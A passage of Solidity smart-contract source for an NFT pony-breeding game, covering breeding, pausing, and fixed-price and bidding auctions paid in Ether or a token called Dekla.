/// are willing to pay the gas!), but the new pony always goes to the mother's owner.
function giveBirth(uint256 _matronId)
external
whenNotPaused
returns (uint256)
{
// Grab a reference to the matron in storage.
Pony storage matron = ponies[_matronId];
// Check that the matron is a valid pony.
require(matron.birthTime != 0);
// Check that the matron is pregnant, and that its time has come!
require(_isReadyToGiveBirth(matron));
// Grab a reference to the sire in storage.
uint256 sireId = matron.matingWithId;
Pony storage sire = ponies[sireId];
// Determine the higher generation number of the two parents
uint16 parentGen = matron.generation;
if (sire.generation > matron.generation) {
parentGen = sire.generation;
}
// Call the sooper-sekret gene mixing operation.
uint256 childGenes = geneScience.mixGenes(matron.genes, sire.genes, matron.cooldownEndBlock - 1);
// New Pony starts with the same cooldown as parent gen/20
uint16 cooldownIndex = geneScience.processCooldown(parentGen + 1, block.number);
if (cooldownIndex > 13) {
cooldownIndex = 13;
}
// Make the new pony!
address owner = ponyIndexToOwner[_matronId];
uint256 ponyId = _createPony(_matronId, matron.matingWithId, parentGen + 1, childGenes, owner, cooldownIndex);
// Clear the reference to sire from the matron (REQUIRED! Having siringWithId
// set is what marks a matron as being pregnant.)
delete matron.matingWithId;
// Every time a Pony gives birth counter is decremented.
pregnantPonies--;
// Send the balance fee to the person who made birth happen.
msg.sender.transfer(autoBirthFee);
// return the new pony's ID
return ponyId;
}
function setMatingSeason(bool _isMatingSeason) external onlyCLevel {
geneScience.setMatingSeason(_isMatingSeason);
}
}
/// @title Auction Core
/// @dev Contains models, variables, and internal methods for the auction.
/// @notice We omit a fallback function to prevent accidental sends to this contract.
contract ClockAuctionBase {
// Represents an auction on an NFT
struct Auction {
// Current owner of NFT
address seller;
uint256 price;
bool allowPayDekla;
}
// Reference to contract tracking NFT ownership
ERC721 public nonFungibleContract;
ERC20 public tokens;
// Cut owner takes on each auction, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint256 public ownerCut = 500;
// Map from token ID to their corresponding auction.
mapping(uint256 => Auction) tokenIdToAuction;
event AuctionCreated(uint256 tokenId);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner);
event AuctionCancelled(uint256 tokenId);
/// @dev Returns true if the claimant owns the token.
/// @param _claimant - Address claiming to own the token.
/// @param _tokenId - ID of token whose ownership to verify.
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return (nonFungibleContract.ownerOf(_tokenId) == _claimant);
}
/// @dev Escrows the NFT, assigning ownership to this contract.
/// Throws if the escrow fails.
/// @param _owner - Current owner address of token to escrow.
/// @param _tokenId - ID of token whose approval to verify.
function _escrow(address _owner, uint256 _tokenId) internal {
// it will throw if transfer fails
nonFungibleContract.transferFrom(_owner, this, _tokenId);
}
/// @dev Transfers an NFT owned by this contract to another address.
/// Returns true if the transfer succeeds.
/// @param _receiver - Address to transfer NFT to.
/// @param _tokenId - ID of token to transfer.
function _transfer(address _receiver, uint256 _tokenId) internal {
// it will throw if transfer fails
nonFungibleContract.transfer(_receiver, _tokenId);
}
/// @dev Adds an auction to the list of open auctions. Also fires the
/// AuctionCreated event.
/// @param _tokenId The ID of the token to be put on auction.
/// @param _auction Auction to add.
function _addAuction(uint256 _tokenId, Auction _auction) internal {
tokenIdToAuction[_tokenId] = _auction;
emit AuctionCreated(
uint256(_tokenId)
);
}
/// @dev Computes the price and transfers winnings.
/// Does NOT transfer ownership of token.
function _bidEth(uint256 _tokenId, uint256 _bidAmount)
internal
returns (uint256)
{
// Get a reference to the auction struct
Auction storage auction = tokenIdToAuction[_tokenId];
require(!auction.allowPayDekla);
// Explicitly check that this auction is currently live.
// (Because of how Ethereum mappings work, we can't just count
// on the lookup above failing. An invalid _tokenId will just
// return an auction object that is all zeros.)
require(_isOnAuction(auction));
// Check that the bid is greater than or equal to the current price
uint256 price = auction.price;
require(_bidAmount >= price);
// Grab a reference to the seller before the auction struct
// gets deleted.
address seller = auction.seller;
// The bid is good! Remove the auction before sending the fees
// to the sender so we can't have a reentrancy attack.
_removeAuction(_tokenId);
// Transfer proceeds to seller (if there are any!)
if (price > 0) {
// Calculate the auctioneer's cut.
// (NOTE: _computeCut() is guaranteed to return a
// value <= price, so this subtraction can't go negative.)
uint256 auctioneerCut = _computeCut(price);
uint256 sellerProceeds = price - auctioneerCut;
seller.transfer(sellerProceeds);
}
// Tell the world!
emit AuctionSuccessful(_tokenId, price, msg.sender);
return price;
}
/// @dev Computes the price and transfers winnings.
/// Does NOT transfer ownership of token.
function _bidDkl(uint256 _tokenId, uint256 _bidAmount)
internal
returns (uint256)
{
// Get a reference to the auction struct
Auction storage auction = tokenIdToAuction[_tokenId];
require(auction.allowPayDekla);
// Explicitly check that this auction is currently live.
// (Because of how Ethereum mappings work, we can't just count
// on the lookup above failing. An invalid _tokenId will just
// return an auction object that is all zeros.)
require(_isOnAuction(auction));
// Check that the bid is greater than or equal to the current price
uint256 price = auction.price;
require(_bidAmount >= price);
// Grab a reference to the seller before the auction struct
// gets deleted.
address seller = auction.seller;
// The bid is good! Remove the auction before sending the fees
// to the sender so we can't have a reentrancy attack.
_removeAuction(_tokenId);
// Transfer proceeds to seller (if there are any!)
if (price > 0) {
// Calculate the auctioneer's cut.
// (NOTE: _computeCut() is guaranteed to return a
// value <= price, so this subtraction can't go negative.)
uint256 auctioneerCut = _computeCut(price);
uint256 sellerProceeds = price - auctioneerCut;
tokens.transfer(seller, sellerProceeds);
}
// Tell the world!
emit AuctionSuccessful(_tokenId, price, msg.sender);
return price;
}
/// @dev Cancels an auction unconditionally.
function _cancelAuction(uint256 _tokenId, address _seller) internal {
_removeAuction(_tokenId);
_transfer(_seller, _tokenId);
emit AuctionCancelled(_tokenId);
}
/// @dev Returns true if the NFT is on auction.
/// @param _auction - Auction to check.
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.price > 0);
}
/// @dev Removes an auction from the list of open auctions.
/// @param _tokenId - ID of NFT on auction.
function _removeAuction(uint256 _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
/// @dev Computes owner's cut of a sale.
/// @param _price - Sale price of NFT.
function _computeCut(uint256 _price) internal view returns (uint256) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and ownerCut <= 10000 (see the require()
// statement in the ClockAuction constructor). The result of this
// function is always guaranteed to be <= _price.
return _price * ownerCut / 10000;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is AccessControl{
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyCEO whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyCEO whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
/// @title Clock auction for non-fungible tokens.
/// @notice We omit a fallback function to prevent accidental sends to this contract.
contract ClockAuction is Pausable, ClockAuctionBase {
/// @dev The ERC-165 interface signature for ERC-721.
/// Ref: https://github.com/ethereum/EIPs/issues/165
/// Ref: https://github.com/ethereum/EIPs/issues/721
bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d);
/// @dev Constructor creates a reference to the NFT ownership contract
/// and verifies the owner cut is in the valid range.
/// @param _nftAddress - address of a deployed contract implementing
/// the Nonfungible Interface.
constructor(address _nftAddress, address _tokenAddress) public {
ERC721 candidateContract = ERC721(_nftAddress);
require(candidateContract.supportsInterface(InterfaceSignature_ERC721));
tokens = ERC20(_tokenAddress);
nonFungibleContract = candidateContract;
}
/// @dev Cancels an auction that hasn't been won yet.
/// Returns the NFT to original owner.
/// @notice This is a state-modifying function that can
/// be called while the contract is paused.
/// @param _tokenId - ID of token on auction
function cancelAuction(uint256 _tokenId)
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
address seller = auction.seller;
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
/// @dev Cancels an auction when the contract is paused.
/// Only the owner may do this, and NFTs are returned to
/// the seller. This should only be used in emergencies.
/// @param _tokenId - ID of the NFT on auction to cancel.
function cancelAuctionWhenPaused(uint256 _tokenId)
whenPaused
onlyCEO
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
_cancelAuction(_tokenId, auction.seller);
}
/// @dev Returns auction info for an NFT on auction.
/// @param _tokenId - ID of NFT on auction.
function getAuction(uint256 _tokenId)
external
view
returns
(
address seller,
uint256 price,
bool allowPayDekla
) {
Auction storage auction = tokenIdToAuction[_tokenId];
return (
auction.seller,
auction.price,
auction.allowPayDekla
);
}
/// @dev Returns the current price of an auction.
/// @param _tokenId - ID of the token price we are checking.
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return auction.price;
}
}
/// @title Reverse auction modified for siring
/// @notice We omit a fallback function to prevent accidental sends to this contract.
contract SiringClockAuction is ClockAuction {
// @dev Sanity check that allows us to ensure that we are pointing to the
// right auction in our setSiringAuctionAddress() call.
bool public isSiringClockAuction = true;
uint256 public prizeCut = 100;
uint256 public tokenDiscount = 100;
address prizeAddress;
// Delegate constructor
constructor(address _nftAddr, address _tokenAddress, address _prizeAddress) public
ClockAuction(_nftAddr, _tokenAddress) {
prizeAddress = _prizeAddress;
}
/// @dev Creates and begins a new auction. Since this function is wrapped,
/// require sender to be PonyCore contract.
/// @param _tokenId - ID of token to auction, sender must be owner.
/// @param _seller - Seller, if not the message sender
function createEthAuction(
uint256 _tokenId,
address _seller,
uint256 _price
)
external
{
require(msg.sender == address(nonFungibleContract));
require(_price > 0);
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
_price,
false
);
_addAuction(_tokenId, auction);
}
/// @dev Creates and begins a new auction. Since this function is wrapped,
/// require sender to be PonyCore contract.
/// @param _tokenId - ID of token to auction, sender must be owner.
/// @param _seller - Seller, if not the message sender
function createDklAuction(
uint256 _tokenId,
address _seller,
uint256 _price
)
external
{
require(msg.sender == address(nonFungibleContract));
require(_price > 0);
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
_price,
true
);
_addAuction(_tokenId, auction);
}
/// @dev Places a bid for siring. Requires the sender
/// is the PonyCore contract because all bid methods
/// should be wrapped. Also returns the pony to the
/// seller rather than the winner.
function bidEth(uint256 _tokenId)
external
payable
{
require(msg.sender == address(nonFungibleContract));
address seller = tokenIdToAuction[_tokenId].seller;
// _bid checks that token ID is valid and will throw if bid fails
_bidEth(_tokenId, msg.value);
// We transfer the pony back to the seller, the winner will get
// the offspring
uint256 prizeAmount = (msg.value * prizeCut) / 10000;
prizeAddress.transfer(prizeAmount);
_transfer(seller, _tokenId);
}
function bidDkl(uint256 _tokenId,
uint256 _price,
uint256 _fee,
bytes _signature,
uint256 _nonce)
external
whenNotPaused
{
address seller = tokenIdToAuction[_tokenId].seller;
tokens.transferPreSigned(_signature, address(this), _price, _fee, _nonce);
// _bid will throw if the bid or funds transfer fails
_bidDkl(_tokenId, _price);
tokens.transfer(msg.sender, _fee);
address spender = tokens.recoverSigner(_signature, address(this), _price, _fee, _nonce);
uint256 discountAmount = (_price * tokenDiscount) / 10000;
uint256 prizeAmount = (_price * prizeCut) / 10000;
tokens.transfer(prizeAddress, prizeAmount);
tokens.transfer(spender, discountAmount);
_transfer(seller, _tokenId);
}
function setCut(uint256 _prizeCut, uint256 _tokenDiscount)
external
{
require(msg.sender == address(nonFungibleContract));
require(_prizeCut + _tokenDiscount < ownerCut);
prizeCut = _prizeCut;
tokenDiscount = _tokenDiscount;
}
/// @dev Remove all Ether from the contract, which is the owner's cuts
/// as well as any Ether sent directly to the contract address.
/// Always transfers to the NFT contract, but can be called either by
/// the owner or the NFT contract.
function withdrawBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == nftAddress
);
nftAddress.transfer(address(this).balance);
}
function withdrawDklBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == nftAddress
);
tokens.transfer(nftAddress, tokens.balanceOf(this));
}
}
/// @title Clock auction modified for sale of Ponies
/// @notice We omit a fallback function to prevent accidental sends to this contract.
contract SaleClockAuction is ClockAuction {
// @dev Sanity check that allows us to ensure that we are pointing to the
// right auction in our setSaleAuctionAddress() call.
bool public isSaleClockAuction = true;
uint256 public prizeCut = 100;
uint256 public tokenDiscount = 100;
address prizeAddress;
// Tracks last 5 sale price of gen0 Pony sales
uint256 public gen0SaleCount;
uint256[5] public lastGen0SalePrices;
// Delegate constructor
constructor(address _nftAddr, address _token, address _prizeAddress) public
ClockAuction(_nftAddr, _token) {
prizeAddress = _prizeAddress;
}
/// @dev Creates and begins a new auction.
/// @param _tokenId - ID of token to auction, sender must be owner.
/// @param _seller - Seller, if not the message sender
function createEthAuction(
uint256 _tokenId,
address _seller,
uint256 _price
)
external
{
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
_price,
false
);
_addAuction(_tokenId, auction);
}
/// @dev Creates and begins a new auction.
/// @param _tokenId - ID of token to auction, sender must be owner.
/// @param _seller - Seller, if not the message sender
function createDklAuction(
uint256 _tokenId,
address _seller,
uint256 _price
)
external
{
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
_price,
true
);
_addAuction(_tokenId, auction);
}
function bidEth(uint256 _tokenId)
external
payable
whenNotPaused
{
// _bid will throw if the bid or funds transfer fails
_bidEth(_tokenId, msg.value);
uint256 prizeAmount = (msg.value * prizeCut) / 10000;
prizeAddress.transfer(prizeAmount);
_transfer(msg.sender, _tokenId);
}
function bidDkl(uint256 _tokenId,
uint256 _price,
uint256 _fee,
bytes _signature,
uint256 _nonce)
external
whenNotPaused
{
address buyer = tokens.recoverSigner(_signature, address(this), _price, _fee, _nonce);
tokens.transferPreSigned(_signature, address(this), _price, _fee, _nonce);
// _bid will throw if the bid or funds transfer fails
_bidDkl(_tokenId, _price);
uint256 prizeAmount = (_price * prizeCut) / 10000;
uint256 discountAmount = (_price * tokenDiscount) / 10000;
tokens.transfer(buyer, discountAmount);
tokens.transfer(prizeAddress, prizeAmount);
_transfer(buyer, _tokenId);
}
function setCut(uint256 _prizeCut, uint256 _tokenDiscount)
external
{
require(msg.sender == address(nonFungibleContract));
require(_prizeCut + _tokenDiscount < ownerCut);
prizeCut = _prizeCut;
tokenDiscount = _tokenDiscount;
}
/// @dev Remove all Ether from the contract, which is the owner's cuts
/// as well as any Ether sent directly to the contract address.
/// Always transfers to the NFT contract, but can be called either by
/// the owner or the NFT contract.
function withdrawBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == nftAddress
);
nftAddress.transfer(address(this).balance);
}
function withdrawDklBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == nftAddress
);
tokens.transfer(nftAddress, tokens.balanceOf(this));
}
}
/// @title Handles creating auctions for sale and siring of Ponies.
/// This wrapper of ReverseAuction exists only so that users can create
/// auctions with only one transaction.
contract PonyAuction is PonyBreeding {
// @notice The auction contract variables are defined in PonyBase to allow
// us to refer to them in PonyOwnership to prevent accidental transfers.
// `saleAuction` refers to the auction for gen0 and p2p sale of Ponies.
// `siringAuction` refers to the auction for siring rights of Ponies.
/// @dev Sets the reference to the sale auction.
/// @param _address - Address of sale contract.
function setSaleAuctionAddress(address _address) external onlyCEO {
SaleClockAuction candidateContract = SaleClockAuction(_address);
// NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117
require(candidateContract.isSaleClockAuction());
// Set the new contract address
saleAuction = candidateContract;
}
/// @dev Sets the reference to the siring auction.
/// @param _address - Address of siring contract.
function setSiringAuctionAddress(address _address) external onlyCEO {
SiringClockAuction candidateContract = SiringClockAuction(_address);
// NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117
require(candidateContract.isSiringClockAuction());
// Set the new contract address
siringAuction = candidateContract;
}
/// @dev Sets the reference to the bidding auction.
/// @param _address - Address of bidding contract.
function setBiddingAuctionAddress(address _address) external onlyCEO {
BiddingClockAuction candidateContract = BiddingClockAuction(_address);
// NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117
require(candidateContract.isBiddingClockAuction());
// Set the new contract address
biddingAuction = candidateContract;
}
/// @dev Put a Pony up for auction.
/// Does some ownership trickery to create auctions in one tx.
function createEthSaleAuction(
uint256 _PonyId,
uint256 _price
)
external
whenNotPaused
{
// Auction contract checks input sizes
// If Pony is already on any auction, this will throw
// because it will be owned by the auction contract.
require(_owns(msg.sender, _PonyId));
// Ensure the Pony is not pregnant to prevent the auction
// contract accidentally receiving ownership of the child.
// NOTE: the Pony IS allowed to be in a cooldown.
require(!isPregnant(_PonyId));
_approve(_PonyId, saleAuction);
// Sale auction throws if inputs are invalid and clears
// transfer and sire approval after escrowing the Pony.
saleAuction.createEthAuction(
_PonyId,
msg.sender,
_price
);
}
/// @dev Put a Pony up for auction.
/// Does some ownership trickery to create auctions in one tx.
function delegateDklSaleAuction(
uint256 _tokenId,
uint256 _price,
bytes _ponySig,
uint256 _nonce
)
external
whenNotPaused
{
bytes32 hashedTx = approvePreSignedHashing(address(this), saleAuction, _tokenId, _nonce);
address from = recover(hashedTx, _ponySig);
// Auction contract checks input sizes
// If Pony is already on any auction, this will throw
// because it will be owned by the auction contract.
require(_owns(from, _tokenId));
// Ensure the Pony is not pregnant to prevent the auction
// contract accidentally receiving ownership of the child.
// NOTE: the Pony IS allowed to be in a cooldown.
require(!isPregnant(_tokenId));
approvePreSigned(_ponySig, saleAuction, _tokenId, _nonce);
// Sale auction throws if inputs are invalid and clears
// transfer and sire approval after escrowing the Pony.
saleAuction.createDklAuction(
_tokenId,
from,
_price
);
}
/// @dev Put a Pony up for auction.
/// Does some ownership trickery to create auctions in one tx.
function delegateDklSiringAuction(
uint256 _tokenId,
uint256 _price,
bytes _ponySig,
uint256 _nonce
)
external
whenNotPaused
{
bytes32 hashedTx = approvePreSignedHashing(address(this), siringAuction, _tokenId, _nonce);
address from = recover(hashedTx, _ponySig);
// Auction contract checks input sizes
// If Pony is already on any auction, this will throw
// because it will be owned by the auction contract.
require(_owns(from, _tokenId));
// Ensure the Pony is not pregnant to prevent the auction
// contract accidentally receiving ownership of the child.
// NOTE: the Pony IS allowed to be in a cooldown.
require(!isPregnant(_tokenId));
approvePreSigned(_ponySig, siringAuction, _tokenId, _nonce);
// Sale auction throws if inputs are invalid and clears
// transfer and sire approval after escrowing the Pony.
siringAuction.createDklAuction(
_tokenId,
from,
_price
);
}
/// @dev Put a Pony up for auction.
/// Does some ownership trickery to create auctions in one tx.
function delegateDklBidAuction(
uint256 _tokenId,
uint256 _price,
bytes _ponySig,
uint256 _nonce,
uint16 _durationIndex
)
external
whenNotPaused
{
bytes32 hashedTx = approvePreSignedHashing(address(this), biddingAuction, _tokenId, _nonce);
address from = recover(hashedTx, _ponySig);
// Auction contract checks input sizes
// If Pony is already on any auction, this will throw
// because it will be owned by the auction contract.
require(_owns(from, _tokenId));
// Ensure the Pony is not pregnant to prevent the auction
// contract accidentally receiving ownership of the child.
// NOTE: the Pony IS allowed to be in a cooldown.
require(!isPregnant(_tokenId));
approvePreSigned(_ponySig, biddingAuction, _tokenId, _nonce);
// Sale auction throws if inputs are invalid and clears
// transfer and sire approval after escrowing the Pony.
biddingAuction.createDklAuction(_tokenId, from, _durationIndex, _price);
}
/// @dev Put a Pony up for auction to be sire.
/// Performs checks to ensure the Pony can be sired, then
/// delegates to reverse auction.
function createEthSiringAuction(
uint256 _PonyId,
uint256 _price
)
external
whenNotPaused
{
// Auction contract checks input sizes
// If Pony is already on any auction, this will throw
// because it will be owned by the auction contract.
require(_owns(msg.sender, _PonyId));
require(isReadyToMate(_PonyId));
_approve(_PonyId, siringAuction);
// Siring auction throws if inputs are invalid and clears
// transfer and sire approval after escrowing the Pony.
siringAuction.createEthAuction(
_PonyId,
msg.sender,
_price
);
}
/// @dev Put a Pony up for auction.
/// Does some ownership trickery to create auctions in one tx.
function createDklSaleAuction(
uint256 _PonyId,
uint256 _price
)
external
whenNotPaused
{
// Auction contract checks input sizes
// If Pony is already on any auction, this will throw
// because it will be owned by the auction contract.
require(_owns(msg.sender, _PonyId));
// Ensure the Pony is not pregnant to prevent the auction
// contract accidentally receiving ownership of the child.
// NOTE: the Pony IS allowed to be in a cooldown.
require(!isPregnant(_PonyId));
_approve(_PonyId, saleAuction);
// Sale auction throws if inputs are invalid and clears
// transfer and sire approval after escrowing the Pony.
saleAuction.createDklAuction(
_PonyId,
msg.sender,
_price
);
}
/// @dev Put a Pony up for auction to be sire.
/// Performs checks to ensure the Pony can be sired, then
/// delegates to reverse auction.
function createDklSiringAuction(
uint256 _PonyId,
uint256 _price
)
external
whenNotPaused
{
// Auction contract checks input sizes
// If Pony is already on any auction, this will throw
// because it will be owned by the auction contract.
require(_owns(msg.sender, _PonyId));
require(isReadyToMate(_PonyId));
_approve(_PonyId, siringAuction);
// Siring auction throws if inputs are invalid and clears
// transfer and sire approval after escrowing the Pony.
siringAuction.createDklAuction(
_PonyId,
msg.sender,
_price
);
}
function createEthBidAuction(
uint256 _ponyId,
uint256 _price,
uint16 _durationIndex
) external whenNotPaused {
require(_owns(msg.sender, _ponyId));
_approve(_ponyId, biddingAuction);
biddingAuction.createETHAuction(_ponyId, msg.sender, _durationIndex, _price);
}
function createDeklaBidAuction(
uint256 _ponyId,
uint256 _price,
uint16 _durationIndex
) external whenNotPaused {
require(_owns(msg.sender, _ponyId));
_approve(_ponyId, biddingAuction);
biddingAuction.createDklAuction(_ponyId, msg.sender, _durationIndex, _price);
}
/// @dev Completes a siring auction by bidding.
/// Immediately breeds the winning matron with the sire on auction.
/// @param _sireId - ID of the sire on auction.
/// @param _matronId - ID of the matron owned by the bidder.
function bidOnEthSiringAuction(
uint256 _sireId,
uint256 _matronId,
uint8 _incubator,
bytes _sig
)
external
payable
whenNotPaused
{
// Auction contract checks input sizes
require(_owns(msg.sender, _matronId));
require(isReadyToMate(_matronId));
require(canMateWithViaAuction(_matronId, _sireId));
// Define the current price of the auction.
uint256 currentPrice = siringAuction.getCurrentPrice(_sireId);
require(msg.value >= currentPrice + autoBirthFee);
// Siring auction will throw if the bid fails.
siringAuction.bidEth.value(msg.value - autoBirthFee)(_sireId);
if (_incubator == 0 && hasIncubator[msg.sender]) {
_mateWith(_matronId, _sireId, _incubator);
} else {
bytes32 hashedTx = getIncubatorHashing(msg.sender, _incubator, nonces[msg.sender]);
require(signedBySystem(hashedTx, _sig));
nonces[msg.sender]++;
// All checks passed, Pony gets pregnant!
if (!hasIncubator[msg.sender]) {
hasIncubator[msg.sender] = true;
}
_mateWith(_matronId, _sireId, _incubator);
}
}
/// @dev Completes a siring auction by bidding.
/// Immediately breeds the winning matron with the sire on auction.
/// @param _sireId - ID of the sire on auction.
/// @param _matronId - ID of the matron owned by the bidder.
function bidOnDklSiringAuction(
uint256 _sireId,
uint256 _matronId,
uint8 _incubator,
bytes _incubatorSig,
uint256 _price,
uint256 _fee,
bytes _delegateSig,
uint256 _nonce
)
external
payable
whenNotPaused
{
// Auction contract checks input sizes
require(_owns(msg.sender, _matronId));
require(isReadyToMate(_matronId));
require(canMateWithViaAuction(_matronId, _sireId));
// Define the current price of the auction.
uint256 currentPrice = siringAuction.getCurrentPrice(_sireId);
require(msg.value >= autoBirthFee);
require(_price >= currentPrice);
// Siring auction will throw if the bid fails.
siringAuction.bidDkl(_sireId, _price, _fee, _delegateSig, _nonce);
if (_incubator == 0 && hasIncubator[msg.sender]) {
_mateWith(_matronId, _sireId, _incubator);
} else {
bytes32 hashedTx = getIncubatorHashing(msg.sender, _incubator, nonces[msg.sender]);
require(signedBySystem(hashedTx, _incubatorSig));
nonces[msg.sender]++;
// All checks passed, Pony gets pregnant!
if (!hasIncubator[msg.sender]) {
hasIncubator[msg.sender] = true;
}
_mateWith(_matronId, _sireId, _incubator);
}
}
/// @dev Transfers the balance of the sale auction contract
/// to the PonyCore contract. We use two-step withdrawal to
/// prevent two transfer calls in the auction bid function.
function withdrawAuctionBalances() external onlyCLevel {
saleAuction.withdrawBalance();
siringAuction.withdrawBalance();
biddingAuction.withdrawBalance();
}
function withdrawAuctionDklBalance() external onlyCLevel {
saleAuction.withdrawDklBalance();
siringAuction.withdrawDklBalance();
biddingAuction.withdrawDklBalance();
}
function setBiddingRate(uint256 _prizeCut, uint256 _tokenDiscount) external onlyCLevel {
biddingAuction.setCut(_prizeCut, _tokenDiscount);
}
function setSaleRate(uint256 _prizeCut, uint256 _tokenDiscount) external onlyCLevel {
saleAuction.setCut(_prizeCut, _tokenDiscount);
}
function setSiringRate(uint256 _prizeCut, uint256 _tokenDiscount) external onlyCLevel {
siringAuction.setCut(_prizeCut, _tokenDiscount);
}
}
/// @title Auction Core
/// @dev Contains models, variables, and internal methods for the auction.
/// @notice We omit a fallback function to prevent accidental sends to this contract.
contract BiddingAuctionBase {
// An approximation of currently how many seconds are in between blocks.
uint256 public secondsPerBlock = 15;
// Represents an auction on an NFT
struct Auction {
// Current owner of NFT
address seller;
// Duration (in seconds) of auction
uint16 durationIndex;
// Time when auction started
// NOTE: 0 if this auction has been concluded
uint64 startedAt;
uint64 auctionEndBlock;
// Price (in wei) at beginning of auction
uint256 startingPrice;
bool allowPayDekla;
}
uint32[4] public auctionDuration = [
//production
uint32(2 days),
uint32(3 days),
uint32(4 days),
uint32(5 days)
];
// Reference to contract tracking NFT ownership
ERC721 public nonFungibleContract;
uint256 public ownerCut = 500;
// Map from token ID to their corresponding auction.
mapping(uint256 => Auction) public tokenIdToAuction;
event AuctionCreated(uint256 tokenId);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner);
event AuctionCancelled(uint256 tokenId);
/// @dev Returns true if the claimant owns the token.
/// @param _claimant - Address claiming to own the token.
/// @param _tokenId - ID of token whose ownership to verify.
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return (nonFungibleContract.ownerOf(_tokenId) == _claimant);
}
/// @dev Escrows the NFT, assigning ownership to this contract.
/// Throws if the escrow fails.
/// @param _owner - Current owner address of token to escrow.
/// @param _tokenId - ID of token whose approval to verify.
function _escrow(address _owner, uint256 _tokenId) internal {
// it will throw if transfer fails
nonFungibleContract.transferFrom(_owner, this, _tokenId);
}
/// @dev Transfers an NFT owned by this contract to another address.
/// Returns true if the transfer succeeds.
/// @param _receiver - Address to transfer NFT to.
/// @param _tokenId - ID of token to transfer.
function _transfer(address _receiver, uint256 _tokenId) internal {
// it will throw if transfer fails
nonFungibleContract.transfer(_receiver, _tokenId);
}
/// @dev Adds an auction to the list of open auctions. Also fires the
/// AuctionCreated event.
/// @param _tokenId The ID of the token to be put on auction.
/// @param _auction Auction to add.
function _addAuction(uint256 _tokenId, Auction _auction) internal {
tokenIdToAuction[_tokenId] = _auction;
emit AuctionCreated(
uint256(_tokenId)
);
}
/// @dev Cancels an auction unconditionally.
function _cancelAuction(uint256 _tokenId, address _seller) internal {
_removeAuction(_tokenId);
_transfer(_seller, _tokenId);
emit AuctionCancelled(_tokenId);
}
/// @dev Removes an auction from the list of open auctions.
/// @param _tokenId - ID of NFT on auction.
function _removeAuction(uint256 _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
/// @dev Computes owner's cut of a sale.
/// @param _price - Sale price of NFT.
function _computeCut(uint256 _price) internal view returns (uint256) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and ownerCut <= 10000 (see the require()
// statement in the ClockAuction constructor). The result of this
// function is always guaranteed to be <= _price.
return _price * ownerCut / 10000;
}
}
/// @title Clock auction for non-fungible tokens.
/// @notice We omit a fallback function to prevent accidental sends to this contract.
contract BiddingAuction is Pausable, BiddingAuctionBase {
/// @dev The ERC-165 interface signature for ERC-721.
/// Ref: https://github.com/ethereum/EIPs/issues/165
/// Ref: https://github.com/ethereum/EIPs/issues/721
bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d);
/// @dev Constructor creates a reference to the NFT ownership contract
/// and verifies the owner cut is in the valid range.
/// @param _nftAddress - address of a deployed contract implementing
/// the Nonfungible Interface.
constructor(address _nftAddress) public {
ERC721 candidateContract = ERC721(_nftAddress);
require(candidateContract.supportsInterface(InterfaceSignature_ERC721));
nonFungibleContract = candidateContract;
}
function cancelAuctionHashing(
uint256 _tokenId,
uint64 _endblock
)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(bytes4(0x486A0E9E), _tokenId, _endblock));
}
/// @dev Cancels an auction that hasn't been won yet.
/// Returns the NFT to original owner.
/// @notice This is a state-modifying function that can
/// be called while the contract is paused.
/// @param _tokenId - ID of token on auction
function cancelAuction(
uint256 _tokenId,
bytes _sig
)
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
address seller = auction.seller;
uint64 endblock = auction.auctionEndBlock;
require(msg.sender == seller);
require(endblock < block.number);
bytes32 hashedTx = cancelAuctionHashing(_tokenId, endblock);
require(signedBySystem(hashedTx, _sig));
_cancelAuction(_tokenId, seller);
}
/// @dev Cancels an auction when the contract is paused.
/// Only the owner may do this, and NFTs are returned to
/// the seller. This should only be used in emergencies.
